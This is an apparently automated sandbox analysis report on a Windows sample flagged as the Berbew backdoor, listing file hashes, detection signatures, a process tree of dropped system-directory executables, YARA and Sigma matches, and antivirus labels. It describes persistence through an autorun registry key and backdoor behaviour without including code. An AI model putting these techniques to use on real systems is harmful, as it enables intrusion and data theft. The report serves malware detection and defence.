Edit tour

Windows Analysis Report
h879iieoae.exe

Overview

General Information

Sample name:	h879iieoae.exe renamed because original name is a hash value
Original sample name:	55f3f17f1a264e2b9a8aa9d5750696688fc4a7bbd530ab74224db9939c974d09.exe
Analysis ID:	1545775
MD5:	b6ff4e20e2b53b684a7cb84630d836fa
SHA1:	58f690a95f195f70e6fc59ce67855941bd817f7a
SHA256:	55f3f17f1a264e2b9a8aa9d5750696688fc4a7bbd530ab74224db9939c974d09
Tags:	arch-x64arch-x86exeimage-win10v2004-20241007-enlocale-en-usos-windows10-2004-x64systemhatchingtraigeneikiinsightportaluser-NeikiSamples
Infos:

Detection

Berbew

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Berbew

AI detected suspicious sample

Creates an undocumented autostart registry key

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file has a writeable .text section

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to search for IE or Outlook window (often done to steal information)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

PE file contains more sections than normal

PE file contains sections with non-standard names

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Classification

Process Tree

System is w10x64

h879iieoae.exe (PID: 6496 cmdline: "C:\Users\user\Desktop\h879iieoae.exe" MD5: B6FF4E20E2B53B684A7CB84630D836FA)

Nejhbi32.exe (PID: 6544 cmdline: C:\Windows\system32\Nejhbi32.exe MD5: 0603E4CBD8760D07DD7DCAB05A92238A)

Ogjdllpi.exe (PID: 6604 cmdline: C:\Windows\system32\Ogjdllpi.exe MD5: B9761DC0E2D962AEFE92F6E1F3C1F250)

Opbieagi.exe (PID: 6648 cmdline: C:\Windows\system32\Opbieagi.exe MD5: 04F64BB1853F025B09D78A47FA5C7F7B)

Oglabl32.exe (PID: 6692 cmdline: C:\Windows\system32\Oglabl32.exe MD5: EB5F811B6A66908B38FB889817D5988F)

Olijjb32.exe (PID: 6744 cmdline: C:\Windows\system32\Olijjb32.exe MD5: 6E56FF877D11D4ED11AF106FBDDD4ACE)

Oeanchcn.exe (PID: 6768 cmdline: C:\Windows\system32\Oeanchcn.exe MD5: 1B2425A45E8ED6237FBE4E56F276A504)

Oceoll32.exe (PID: 6824 cmdline: C:\Windows\system32\Oceoll32.exe MD5: 1DB24B47BF090833A70E0BEA68A38D9F)

Onkcje32.exe (PID: 6860 cmdline: C:\Windows\system32\Onkcje32.exe MD5: 7862075539A938767C526CCB7DF7CF4E)

Odekfoij.exe (PID: 6928 cmdline: C:\Windows\system32\Odekfoij.exe MD5: A30DE8FF39A8563F2D7B9E36AD05A4C6)

Ojacofgb.exe (PID: 6992 cmdline: C:\Windows\system32\Ojacofgb.exe MD5: AF41FAF03E8EAED376F154722746385B)

Ppllkpoo.exe (PID: 7064 cmdline: C:\Windows\system32\Ppllkpoo.exe MD5: 38F64F662EE5C7E45202627AA7FCACCC)

Plbmqa32.exe (PID: 7092 cmdline: C:\Windows\system32\Plbmqa32.exe MD5: 40D460D476E3EF9238CDEC233DCA293E)

Plgflqpn.exe (PID: 7084 cmdline: C:\Windows\system32\Plgflqpn.exe MD5: 746D9DB8F43CEAFB79CE4693732F31F4)

Pqeoao32.exe (PID: 3808 cmdline: C:\Windows\system32\Pqeoao32.exe MD5: A195A0011B7154E41E7FCDE5D8B4E0CA)

Qgcpihjl.exe (PID: 2896 cmdline: C:\Windows\system32\Qgcpihjl.exe MD5: B46EDD174CAE8D3583851F8A26241E40)

Ajkolbad.exe (PID: 4956 cmdline: C:\Windows\system32\Ajkolbad.exe MD5: 9A076EA5029217C545E15BC92444072D)

Bmlhnnne.exe (PID: 2056 cmdline: C:\Windows\system32\Bmlhnnne.exe MD5: A98CEA1775884370D8699936D1B8E227)

Bgamkfnl.exe (PID: 2924 cmdline: C:\Windows\system32\Bgamkfnl.exe MD5: 2DAF6E68C4322E5ABD5103F013110A0D)

Bqjacldl.exe (PID: 2256 cmdline: C:\Windows\system32\Bqjacldl.exe MD5: D92B3B389B0B969DCC1638C63737002A)

Bnnampcf.exe (PID: 5640 cmdline: C:\Windows\system32\Bnnampcf.exe MD5: F015A56D85709788B392A68459FEB024)

Bnpnbp32.exe (PID: 6188 cmdline: C:\Windows\system32\Bnpnbp32.exe MD5: 7E024C6EF36928FEE4659AE588ED4D43)

Bgibkegc.exe (PID: 1740 cmdline: C:\Windows\system32\Bgibkegc.exe MD5: 0DBB530A0BE511F3DC794C1024460A99)

Baagdk32.exe (PID: 916 cmdline: C:\Windows\system32\Baagdk32.exe MD5: 1F4BBF60BA2126DD626006EB2F22CA9D)

Cfnpmb32.exe (PID: 1188 cmdline: C:\Windows\system32\Cfnpmb32.exe MD5: 3E45EB0DFCF7ACE28698143C3D650109)

Ccapffke.exe (PID: 7104 cmdline: C:\Windows\system32\Ccapffke.exe MD5: 713B5E4D81DBB20F5D48D2BC5501A007)

Ceampi32.exe (PID: 6460 cmdline: C:\Windows\system32\Ceampi32.exe MD5: 7008B57588331F2C9C3672BB96521844)

Cnjaioih.exe (PID: 4284 cmdline: C:\Windows\system32\Cnjaioih.exe MD5: CA30D43E91B9417EA485DABDD1CCD228)

Camgpi32.exe (PID: 7180 cmdline: C:\Windows\system32\Camgpi32.exe MD5: AFB7FE6A2325DC169AF337B02D73EA13)

Dmfdkj32.exe (PID: 7196 cmdline: C:\Windows\system32\Dmfdkj32.exe MD5: 8A37BEE9F75CA0545946D3034A19B27A)

Dnhmjm32.exe (PID: 7212 cmdline: C:\Windows\system32\Dnhmjm32.exe MD5: 305D22424B3635688BD806671F6F8A9C)

Dfcboo32.exe (PID: 7228 cmdline: C:\Windows\system32\Dfcboo32.exe MD5: E467DF0B06CAE41308F8F0A6E1F35FBA)

Edgbhcim.exe (PID: 7244 cmdline: C:\Windows\system32\Edgbhcim.exe MD5: 4396DFC06DB43385A7F834F79F6CA36B)

Emogai32.exe (PID: 7260 cmdline: C:\Windows\system32\Emogai32.exe MD5: E5B571BCF3D5D371B03E73AAAE92245B)

Efgkjnfn.exe (PID: 7276 cmdline: C:\Windows\system32\Efgkjnfn.exe MD5: B024F2548F4F6ADC9F3DCD68E53CB2CC)

Eoappk32.exe (PID: 7292 cmdline: C:\Windows\system32\Eoappk32.exe MD5: B8C0A2511B4FA693AE579E90FCE526AD)

Fkogfkdj.exe (PID: 7312 cmdline: C:\Windows\system32\Fkogfkdj.exe MD5: 151422544613301F6704413C52E381B0)

Fhedeo32.exe (PID: 7328 cmdline: C:\Windows\system32\Fhedeo32.exe MD5: 03114EFDB305B36B603B7F89B84FE057)

Feidnc32.exe (PID: 7344 cmdline: C:\Windows\system32\Feidnc32.exe MD5: 635F3B50D2C2626B8575FD1AD6A4CE99)

Foaigifk.exe (PID: 7368 cmdline: C:\Windows\system32\Foaigifk.exe MD5: 1FC2CFC732D1C3E7577F946BB2663E80)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Berbew		No Attribution	https://blog.sonicwall.com/en-us/2023/02/berbew-backdoor-spotted-in-the-wild/	https://malpedia.caad.fkie.fraunhofer.de/details/win.berbew

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.1998469389.000000000042A000.00000004.00000001.01000000.00000011.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000017.00000002.2006552400.000000000042A000.00000004.00000001.01000000.0000001A.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000025.00000002.2029721811.000000000042A000.00000004.00000001.01000000.00000028.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000021.00000002.2021263243.000000000042A000.00000004.00000001.01000000.00000024.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000015.00000002.2005214969.000000000042A000.00000004.00000001.01000000.00000018.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000023.00000002.2027822384.000000000042A000.00000004.00000001.01000000.00000026.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000010.00000002.2000741077.000000000042A000.00000004.00000001.01000000.00000013.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000000A.00000002.1986379697.000000000042A000.00000004.00000001.01000000.0000000D.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000000C.00000002.1990903099.000000000042A000.00000004.00000001.01000000.0000000F.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000001D.00000002.2017016443.000000000042A000.00000004.00000001.01000000.00000020.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000001A.00000002.2011076811.000000000042A000.00000004.00000001.01000000.0000001D.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000024.00000002.2029071325.000000000042A000.00000004.00000001.01000000.00000027.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000016.00000002.2005778309.000000000042A000.00000004.00000001.01000000.00000019.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000001C.00000002.2016533194.000000000042A000.00000004.00000001.01000000.0000001F.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000018.00000002.2007866947.000000000042A000.00000004.00000001.01000000.0000001B.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000014.00000002.2004277931.000000000042A000.00000004.00000001.01000000.00000017.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000027.00000002.2031051927.000000000042A000.00000004.00000001.01000000.0000002A.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000019.00000002.2008521888.000000000042A000.00000004.00000001.01000000.0000001C.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000011.00000002.2001790871.000000000042A000.00000004.00000001.01000000.00000014.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000001E.00000002.2018453034.000000000042A000.00000004.00000001.01000000.00000021.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000001F.00000002.2019406612.000000000042A000.00000004.00000001.01000000.00000022.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000020.00000002.2019682823.000000000042A000.00000004.00000001.01000000.00000023.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000013.00000002.2003694218.000000000042A000.00000004.00000001.01000000.00000016.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000022.00000002.2022377114.000000000042A000.00000004.00000001.01000000.00000025.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000000D.00000002.1993494029.000000000042A000.00000004.00000001.01000000.00000010.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000001B.00000002.2013905191.000000000042A000.00000004.00000001.01000000.0000001E.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000012.00000002.2002333377.000000000042A000.00000004.00000001.01000000.00000015.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000026.00000002.2030625851.000000000042A000.00000004.00000001.01000000.00000029.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000000B.00000002.1988867655.000000000042A000.00000004.00000001.01000000.0000000E.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0000000F.00000002.2000063573.000000000042A000.00000004.00000001.01000000.00000012.sdmp	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: h879iieoae.exe PID: 6496	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Nejhbi32.exe PID: 6544	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Ogjdllpi.exe PID: 6604	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Opbieagi.exe PID: 6648	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Oglabl32.exe PID: 6692	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Olijjb32.exe PID: 6744	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Oeanchcn.exe PID: 6768	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Oceoll32.exe PID: 6824	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Onkcje32.exe PID: 6860	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Odekfoij.exe PID: 6928	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Ojacofgb.exe PID: 6992	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Ppllkpoo.exe PID: 7064	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Plbmqa32.exe PID: 7092	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Plgflqpn.exe PID: 7084	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Pqeoao32.exe PID: 3808	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Qgcpihjl.exe PID: 2896	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Ajkolbad.exe PID: 4956	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Bmlhnnne.exe PID: 2056	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Bgamkfnl.exe PID: 2924	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Bqjacldl.exe PID: 2256	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Bnnampcf.exe PID: 5640	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Bnpnbp32.exe PID: 6188	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Bgibkegc.exe PID: 1740	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Baagdk32.exe PID: 916	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Cfnpmb32.exe PID: 1188	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Ccapffke.exe PID: 7104	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Ceampi32.exe PID: 6460	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Cnjaioih.exe PID: 4284	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Camgpi32.exe PID: 7180	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Dmfdkj32.exe PID: 7196	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Dnhmjm32.exe PID: 7212	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Dfcboo32.exe PID: 7228	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Edgbhcim.exe PID: 7244	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Emogai32.exe PID: 7260	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Efgkjnfn.exe PID: 7276	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Eoappk32.exe PID: 7292	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Fkogfkdj.exe PID: 7312	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Fhedeo32.exe PID: 7328	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Feidnc32.exe PID: 7344	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Process Memory Space: Foaigifk.exe PID: 7368	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Click to see the 75 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.Cfnpmb32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
3.2.Opbieagi.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
25.2.Ccapffke.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
27.2.Cnjaioih.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
19.2.Bqjacldl.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
7.2.Oceoll32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
29.2.Dmfdkj32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
1.2.Nejhbi32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
15.2.Qgcpihjl.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
17.2.Bmlhnnne.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
14.2.Pqeoao32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
38.2.Feidnc32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
34.2.Efgkjnfn.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
4.2.Oglabl32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
10.2.Ojacofgb.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
19.2.Bqjacldl.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
5.2.Olijjb32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
13.2.Plgflqpn.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
27.2.Cnjaioih.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
24.2.Cfnpmb32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
5.2.Olijjb32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
34.2.Efgkjnfn.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
20.2.Bnnampcf.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
8.2.Onkcje32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0.2.h879iieoae.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
30.2.Dnhmjm32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
2.2.Ogjdllpi.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
33.2.Emogai32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
10.2.Ojacofgb.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
4.2.Oglabl32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
3.2.Opbieagi.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
14.2.Pqeoao32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
18.2.Bgamkfnl.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
36.2.Fkogfkdj.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
28.2.Camgpi32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
23.2.Baagdk32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
11.2.Ppllkpoo.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
21.2.Bnpnbp32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
16.2.Ajkolbad.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
33.2.Emogai32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
2.2.Ogjdllpi.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
37.2.Fhedeo32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
31.2.Dfcboo32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
12.2.Plbmqa32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
31.2.Dfcboo32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
35.2.Eoappk32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
21.2.Bnpnbp32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
7.2.Oceoll32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
16.2.Ajkolbad.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
38.2.Feidnc32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
17.2.Bmlhnnne.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
28.2.Camgpi32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
12.2.Plbmqa32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
32.2.Edgbhcim.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
36.2.Fkogfkdj.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
25.2.Ccapffke.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
26.2.Ceampi32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
9.2.Odekfoij.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
22.2.Bgibkegc.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
8.2.Onkcje32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
32.2.Edgbhcim.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
1.2.Nejhbi32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
22.2.Bgibkegc.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
26.2.Ceampi32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
15.2.Qgcpihjl.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
39.2.Foaigifk.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
18.2.Bgamkfnl.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
37.2.Fhedeo32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
6.2.Oeanchcn.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
39.2.Foaigifk.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
35.2.Eoappk32.exe.42aa84.1.raw.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
11.2.Ppllkpoo.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
6.2.Oeanchcn.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
20.2.Bnnampcf.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
0.2.h879iieoae.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
30.2.Dnhmjm32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
23.2.Baagdk32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
9.2.Odekfoij.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
13.2.Plgflqpn.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
29.2.Dmfdkj32.exe.400000.0.unpack	JoeSecurity_Berbew	Yara detected Berbew	Joe Security
Click to see the 75 entries

Sigma Signatures

System Summary

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: {79FEACFF-FFCE-815E-A900-316290B5B738}, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\h879iieoae.exe, ProcessId: 6496, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: h879iieoae.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\Accicdme.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Ckaenpam.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Baagdk32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Eoappk32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Ajikgq32.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Chfnmf32.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Bdlhdkdf.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Clqdacnn.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Bpghkh32.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Ekpkmk32.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Ccapffke.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Ekpjke32.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
